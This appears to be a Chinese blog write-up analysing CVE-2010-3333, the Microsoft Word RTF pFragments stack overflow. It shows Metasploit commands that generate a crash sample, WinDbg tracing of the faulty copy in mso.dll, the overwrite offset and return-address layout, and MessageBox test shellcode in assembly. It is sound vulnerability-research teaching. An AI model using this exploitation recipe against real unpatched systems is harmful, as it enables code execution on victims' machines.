环境

windows xp sp3
office 2003 sp0
windbg
ollydbg
vmware 12.0

0x00 RTF格式

RTF是Rich TextFormat的缩写,意即富文本格式。

...(详细分析再议)

0x01 漏洞分析

1.利用Metasploit生成可触发漏洞的Poc样本

msf > search cve-2010-3333

Matching Modules
================ Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format) msf > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf exploit(ms10_087_rtf_pfragments_bof) > info Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-11-09 Provided by:
wushi of team509
unknown
jduck <jduck@metasploit.com>
DJ Manila Ice, Vesh, CA Available targets:
Id Name
-- ----
0 Automatic
1 Microsoft Office 2002 SP3 English on Windows XP SP3 English
2 Microsoft Office 2003 SP3 English on Windows XP SP3 English
3 Microsoft Office 2007 SP0 English on Windows XP SP3 English
4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English
5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English
6 Crash Target for Debugging Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name. Payload information:
Space: 512
Avoid: 1 characters Description:
This module exploits a stack-based buffer overflow in the handling
of the 'pFragments' shape property within the Microsoft Word RTF
parser. All versions of Microsoft Office 2010, 2007, 2003, and XP
prior to the release of the MS10-087 bulletin are vulnerable. This
module does not attempt to exploit the vulnerability via Microsoft
Outlook. The Microsoft Word RTF parser was only used by default in
versions of Microsoft Word itself prior to Office 2007. With the
release of Office 2007, Microsoft began using the Word RTF parser,
by default, to handle rich-text messages within Outlook as well. It
was possible to configure Outlook 2003 and earlier to use the
Microsoft Word engine too, but it was not a default setting. It
appears as though Microsoft Office 2000 is not vulnerable. It is
unlikely that Microsoft will confirm or deny this since Office 2000
has reached its support cycle end-of-life. References:
https://cvedetails.com/cve/CVE-2010-3333/
OSVDB (69085)
https://technet.microsoft.com/en-us/library/security/MS10-087
http://www.securityfocus.com/bid/44652
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880 msf exploit(ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf exploit(ms10_087_rtf_pfragments_bof) > exploit [*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /home/moonagirl/.msf4/local/msf.rtf

获取样本后,我们利用windbg进行分析。

2.样本分析

打开WINWORD.exe,并用windbg附加进场,再打开msf.rtf触发异常。

从打印信息里可以知道是mso.dll出问题了,执行到30e9eb88 的时候程序异常了。

我们假设发生异常的地址30e9eb88在vuln函数中。然后我们再重新运行一遍,并且事先在30e9eb88处下一个断点。

运行后打开msf.rtf在30e9eb88停下。断下后,查看栈回溯,看看是哪个函数调用到了vuln函数的。

    

图中,mso!Ordinal6426+0x64d函数就是vuln函数,那么调用它的函数就是mso!Ordinal1753+0x306e。然后我们再想办法看看mso!Ordinal1753+0x306e函数里发生了什么。

由上可知,mso!Ordinal1753+0x306e函数地址为30f4cc5d.我们再重新附加msf.rtf,并实先在30f4cc5d处下断点。

于是便进入了30f4cc5d函数处,也就是调用vuln函数的函数里。F10单步执行看看该函数中发生了什么。

这里该函数开辟了0x14字节的栈空间。继续跟踪。跟踪到调用vuln函数的地方。

按F8进入vuln函数。可以发现用req movs指令复制内存时,ecx的值为c8ac,即复制数据的大小。

回头看下msf.rtf样本数据,可以发现上面的c8ac其实是来源于样本数据的。它位于pFragements属性值得第三个字段,偏移8个字符后的4个字符即为复制的数据大小。

而c8ac后面的数据就是实际内存复制的数据,我们可以从内存源地址esi中看出来。

复制内存的目标地址edi刚好偏移栈底ebp共0x10个字节,加上edp本身占用的4字节,刚好共0x14字节,再覆盖下去就是函数的返回地址了。

总结:由于Word中的RTF分析器在解析pFragments属性值时,没有正确计算属性值所占用的空间大小,只要复制的数据大小超过0x14即可覆盖到函数返回地址,进而控制程序的执行流程,用于执行恶意程序。(这里RTF分析器在复制数据时会把每两个相邻的数字解析成一个16进制数转成对应的ascii复制进内存。例如:在rtf中是30复制进内存被解析成0。因此0x14个字节在rtf中要用40个垃圾字符来填充。)       (:强行解释一波...hhhhhh

3.漏洞利用

我们只需将返回地址用jmp esp指令地址覆盖,例如:‘a’ * 40 + (jmp esp地址)。然后将shellcode放在后面,即可执行任意代码。由于vuln函数返回前会弹出0x14大小的栈空间,因此我们需要填充一些垃圾字符。例如:‘a’*40 + (jmp esp地址) + 'a'*40 + shellcode.

下面开始编写shellcode.

jmp esp的地址可以通过windbg在mso.dll中找到。

MessageBoxA函数地址可以通过od找到。为0x77D507EA

构造shellcode.

xor ebx,ebx
push ebx // cut string 53
push 0x20206c72
push 0x6967616e
push 0x6f6f6d20
push 0x6d612069 mov eax,esp
push ebx // Type
push eax //
push eax // Text
push ebx // hWnd mov eax,0x77D507EA // address of messageboxA
call eax push ebx
mov eax,0x7c81CAFA
call eax // FFD0

最后有(注意小写,内部有检测机制)!!!!!!!!!

0x02利用成功

CVE-2010-3333的更多相关文章

  1. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  2. 应用安全-软件安全-漏洞CVE整理

    jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...

  3. 如何使用本地账户"完整"安装 SharePoint Server 2010+解决“New-SPConfigurationDatabase : 无法连接到 SharePoint_Config 的 SQL Server 的数据 库 master。此数据库可能不存在,或当前用户没有连接权限。”

    注:目前看到的解决本地账户完整安装SharePoint Server 2010的解决方案如下,但是,有但是的哦: 当我们选择了"完整"模式安装SharePointServer201 ...

  4. How to accept Track changes in Microsoft Word 2010?

    "Track changes" is wonderful and remarkable tool of Microsoft Word 2010. The feature allow ...

  5. [入门级] 基于 visual studio 2010 mvc4 的图书管理系统开发初步 (二)

    [入门级] 基于 visual studio 2010 mvc4 的图书管理系统开发初步 (二) Date  周六 10 一月 2015 By 钟谢伟 Category website develop ...

  6. [入门级] visual studio 2010 mvc4开发,用ibatis作为数据库访问媒介(一)

    [入门级] visual studio 2010 mvc4开发,用ibatis作为数据库访问媒介(一) Date  周二 06 一月 2015 By 钟谢伟 Tags mvc4 / asp.net 示 ...

  7. c++ builder 2010 错误 F1004 Internal compiler error at 0x9740d99 with base 0x9

    今天遇到一个奇怪的问题,拷贝项目后,在修改,会出现F1004 Internal compiler error at 0x9740d99 with base 0x9 ,不管怎么改,删除改动,都没用,关闭 ...

  8. Sharepoint 2010、Sharepoint 2013浏览器打开CAD(.dwg)

    客户端配置 1.安装FreeDWGViewer.exe,设置浏览器查看 2.检查ActiveX插件是否已安装成功 服务端配置 1.开启许可模式或者通过脚本将"application/acad ...

  9. Microsoft Windows* SDK May 2010 或较新版本(兼容 2010 年 6 月 DirectX SDK)GPU Detect

    原文链接 下载代码样本 特性/描述 日期: 2016 年 5 月 5 日 GPU Detect 是一种简短的示例,演示了检测系统中主要显卡硬件(包括第六代智能英特尔® 酷睿™ 处理器产品家族)的方式. ...

  10. delphi 2010与delphi XE破解版的冲突

    在系统中同时安装了Dephi 2010LITE版与Delphi XE lite后,总是会有一个有问题 是因为两者都是读取C:\ProgramData\Embarcadero目录下的license文件, ...

随机推荐

  1. ios NSFileManager创建目录、文件

    NSFileManager *fileManager = [NSFileManager defaultManager]; NSString *str1 = NSHomeDirectory(); _fi ...

  2. AndroidStudio关联GitHub

    1.前提: 1.已有github账号和密码 github官方网站:https://github.com/ 2.下载了git客户端 客户端下载地址:http://pan.baidu.com/s/1slV ...

  3. FileReader文件读取API

    :用来把文件读入内存,并且读取文件中的数据.FileReader接口提供了一个异步API,使用该API可以在浏览器主线程中异步访问文件系统,读取文件中的数据. 1.FileReader接口的方法 Fi ...

  4. Faster_Rcnn在windows下运行踩坑总结

    Faster_Rcnn在windows下运行踩坑总结  20190524 今天又是元气满满的一天! 1.代码下载 2.编译 3.下载数据集 4.下载pre-train Model 5.运行train ...

  5. eclipse导入mavn工程报Failure to transfer org.apache.maven.plugins:maven-resources-plugin:pom:2.6 的解决办法

    详细报错: Failure to transfer org.apache.maven.plugins:maven-resources-plugin:pom:2.6 from http://10.74. ...

  6. 用ssh-key-gen 在本地主机上创建公钥和密钥

    用ssh-key-gen 在本地主机上创建公钥和密钥 ligh@local-host$ ssh-keygen -t rsa

  7. 简单的鼠标经过特效-mouse事件

    <!doctype html> <html lang="zh-cn"> <head> <meta charset="UTF-8& ...

  8. vagrant教程

    http://blog.smdcn.net/article/1308.html http://ninghao.net/blog/1566 如何定制一个自己的 vagrant box: https:// ...

  9. 登录界面点击登录后如何延迟提示成功的div的显示时间并跳转

    需求: 在登录页面点击sign in跳转到下个页面之前,我需要显示成功的窗口2秒然后自动关闭 那我们来研究下setTimeout: 关于这个setTimeout首先下面的代码实现的是两秒之后再显示Su ...

  10. How many '1's are there题解

    Description: Description: 第一行输入数字n(n<=50),表示有n组测试用例,第2到第n+1行每行输入数m(m为整数),统计并输出m用二进制表示时,1的个数. 例如:m ...